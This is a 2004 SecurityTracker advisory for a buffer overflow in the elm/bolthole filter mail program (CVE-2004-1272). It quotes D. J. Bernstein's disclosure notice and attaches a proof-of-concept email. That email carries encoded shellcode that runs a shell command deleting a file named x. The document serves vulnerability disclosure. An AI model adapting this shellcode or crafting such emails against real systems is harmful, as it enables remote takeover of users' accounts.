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Category:   Application (E-mail Server)  >   Filter Vendors:
Filter Buffer Overflow in save_embedded_address() Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1012560
SecurityTracker URL:
CVE Reference:   CVE-2004-1272   (Links to External Site)
Updated:  Dec 23 2004
Original Entry Date:  Dec 16 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2.6.1
Description:   A vulnerability was reported in Filter. A remote user can cause arbitrary code to be executed by the target user.

D. J. Bernstein reported that a remote user can send a specially crafted e-mail that, when processed by Filter, will execute arbitrary code on the target user's system. The code will run with the privileges of the Filter process.

The buffer overflow resides in the save_embedded_address() function in 'filter.c'.

Ariel Berkman is credited with discovering this flaw.

Impact:   A remote user can cause arbitrary code to be executed on the target system.
Solution:   The vendor plans to issue a fix in the pending version 2.6.2.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  [remote] [control] elm/bolthole filter 2.6.1 save_embedded_address overflows address buffer

Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Ariel Berkman, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in the elm/bolthole
filter program. I'm publishing this notice, but all the discovery
credits should be assigned to Berkman.

You are at risk if you feed incoming email through the filter program.
Anyone sending you email can take complete control over your account: he
can read and modify your files, watch the programs you're running, etc.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   gunzip < filter2.6.1.tar.gz | tar -xf -
   cd filter2.6.1
   env TOUCH=/usr/bin/touch make

to download and compile the filter program, version 2.6.1 (current).
Then save the file 11.mail attached to this message, and type

   ./filter < 11.mail

with the unauthorized result that a file named x is removed from the
current directory. (I tested this with a 534-byte environment, as
reported by printenv | wc -c.)

Here's the bug: In filter.c, save_embedded_address() copies any amount
of data into an address[LONG_STRING] array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="11.mail"
Content-Transfer-Encoding: quoted-printable

=83=C1=08Q=83=C1 =83=C1=03Q=83=C0;P=CD=801=C0P@P=CD=80=E8=B4=FF=FF=FFabcdef=
ghijklmnopqrstuvwxPATH=3D/bin:/usr/bin /bin/sh -c rm x.AAAAAAAAAAAAAAAAAAAA=
Subject: blah

My text goes here...



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